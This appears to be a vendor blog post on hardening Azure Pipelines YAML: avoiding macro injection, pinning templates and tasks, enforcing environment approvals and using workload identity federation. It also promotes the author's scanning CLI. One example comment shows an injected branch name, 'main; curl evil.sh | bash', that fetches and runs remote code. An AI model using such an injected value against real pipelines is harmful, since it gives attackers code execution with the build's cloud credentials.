Safeguard
DevSecOps

Azure Pipelines Security: Stop Treating YAML as Config

An Azure Pipeline is a program with attacker-controllable input, not a config file. This guide covers macro injection, task and template pinning, environment approvals, workload identity federation, and adding scanning.

Daniel Osei
DevSecOps Engineer
6 min read

The most common Azure Pipelines incident does not begin with a zero-day. It begins with an engineer who wrote a YAML file believing it was configuration, when it was actually a program that interpolates attacker-controllable input into a shell. Azure Pipelines evaluates expressions across three layers with three different trust boundaries: compile-time template expressions (the double-brace form) resolved when the run is queued, runtime expressions in the $[ ] form resolved at job start, and macro syntax in the $( ) form resolved at task execution. Mixing those layers up — most often by echoing a macro that carries data from a fork pull request — hands an attacker command execution inside a build that holds your service connection. The industry has learned this the hard way across platforms, from the 2021 Codecov Bash Uploader compromise to the March 2025 tj-actions attack (CVE-2025-30066); Azure Pipelines carries the same trust boundaries. This guide walks the attack surface and the hardening that closes it.

The attack surface

Azure Pipelines risk concentrates in four places. Expression injection: values such as the source branch name are attacker-controlled on a pull request from a fork, and interpolating them into a script runs whatever the attacker put there. Mutable references: the TaskName@2 syntax floats to the newest minor within a major, and a template referenced by branch floats with that branch — so a compromised publisher or upstream repo silently changes your pipeline. Service connections: a broadly scoped service connection is, in effect, standing access to that Azure subscription for anyone who can run a pipeline. Fork builds and secrets: the wrong project settings expose secrets or full pipeline permissions to pull requests from forks.

Hardening step 1: never interpolate attacker input into a shell

A macro that carries fork-controlled data must never be expanded directly in a script. Pass it through an environment variable, which the shell does not re-parse as code.

# DANGEROUS - a branch named "main; curl evil.sh | bash" executes
- bash: echo "Building $(Build.SourceBranchName)"

# SAFE - the value is data in an env var, not code in the command
- bash: echo "Building $BRANCH"
  env:
    BRANCH: $(Build.SourceBranchName)

Apply the same rule to parameters, pull request titles, and any variable whose value can originate outside your organization.

Hardening step 2: pin tasks and template repositories

Pin template repositories to a commit, not a branch. A template runs at queue time with the triggering user's context, so whoever can push to the referenced branch controls every downstream pipeline.

resources:
  repositories:
    - repository: templates
      type: git
      name: Shared/Templates
      ref: refs/tags/v2.4.0   # pin to an immutable tag or commit, never a branch

For tasks outside the Microsoft-published set, pin the specific version rather than accepting the floating major, and review Marketplace extension updates through extension management before they reach pipelines.

Hardening step 3: enforce approvals at the environment, not the YAML

An Azure DevOps environment owns its approval policy, and the service enforces it — a pipeline author cannot edit the YAML to bypass it. For every production target, create a named environment and attach required approvers.

jobs:
  - deployment: deploy_prod
    environment: prod-eastus     # approvals and checks enforced by the service
    strategy:
      runOnce:
        deploy:
          steps:
            - script: ./deploy.sh

Set at least two approvers for anything touching customer data, enable "approvers cannot approve their own runs," and add business-hours and exclusive-lock checks where they fit.

Secrets and workload identity federation

The highest-value secrets change is deleting the long-lived client secret from your Azure service connection. Azure Pipelines supports workload identity federation, which replaces the stored secret with an OIDC exchange against Microsoft Entra ID — so there is no secret in the connection to leak.

- task: AzureCLI@2
  inputs:
    azureSubscription: 'prod-federated-connection'   # federated, no stored secret
    scriptType: bash
    scriptLocation: inlineScript
    inlineScript: az group list --output table

Scope each service connection to the smallest Azure resource it needs — a single resource group beats subscription-level Contributor — and convert existing secret-based connections on a rolling plan. For stored secrets that remain, back variable groups with Azure Key Vault so the values are pulled at job start rather than living in Azure DevOps, mark them secret, and never echo them; the redaction is string-match based and misses transformed values.

Adding Safeguard scanning to the pipeline

Hardened YAML does not tell you whether the code you build is exploitable. Add a job that runs the Safeguard CLI so software composition analysis runs on every build.

- job: safeguard_scan
  pool:
    vmImage: ubuntu-latest
  steps:
    - checkout: self
    - script: |
        set -euo pipefail
        curl -sSfL https://get.safeguard.sh/install.sh | sh
        safeguard scan --fail-on high --sbom cyclonedx
      env:
        SAFEGUARD_TOKEN: $(SAFEGUARD_TOKEN)   # secret variable from a Key Vault group

Safeguard's SCA engine ranks findings by reachability so the gate fails on the exploitable minority rather than the whole dependency tree, and Auto-Fix opens the upgrade pull request where a fix exists.

Hardening checklist

  • Route fork-controlled values through env:, never into a script directly
  • Pin template repositories to a tag or commit, not a branch
  • Pin non-Microsoft task versions; review Marketplace extension updates
  • Enforce approvals on named environments; block self-approval
  • Convert service connections to workload identity federation and scope them tightly
  • Back secret variable groups with Azure Key Vault; never echo a secret
  • Keep fork PR builds from receiving secrets or full pipeline permissions
  • Scan every build with reachability-aware SCA and fail on exploitable findings

Frequently Asked Questions

Why is the branch name dangerous when I only echo it?

Because macro syntax is expanded into the command line before the shell runs it, and on a pull request from a fork the branch name is attacker-controlled. A branch crafted with shell metacharacters turns your innocent echo into arbitrary command execution. Passing the value through an environment variable keeps it as inert data.

What is workload identity federation, in one sentence?

It is OIDC for Azure service connections: instead of storing a client secret, the pipeline presents a short-lived signed token that Microsoft Entra ID trusts, so there is no long-lived credential in the connection for an attacker to steal.

Can a pipeline author bypass an environment approval by editing the YAML?

No, and that is the point of environments. The approval policy is owned and enforced by the environment resource, not by the pipeline definition, so changing the YAML cannot remove the gate. This is why production targets belong behind named environments rather than YAML-only conditions.

How does Safeguard compare with other scanners for Azure teams?

Safeguard runs as a CLI step in any pipeline and via native SCM integration, prioritizing findings by reachability so your gate is meaningful. See the comparison page for how the approach differs from incumbents.

To wire these controls into your pipeline, see Safeguard CLI, SCA, Auto-Fix, the comparison page, and full setup steps in the documentation at docs.safeguard.sh.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.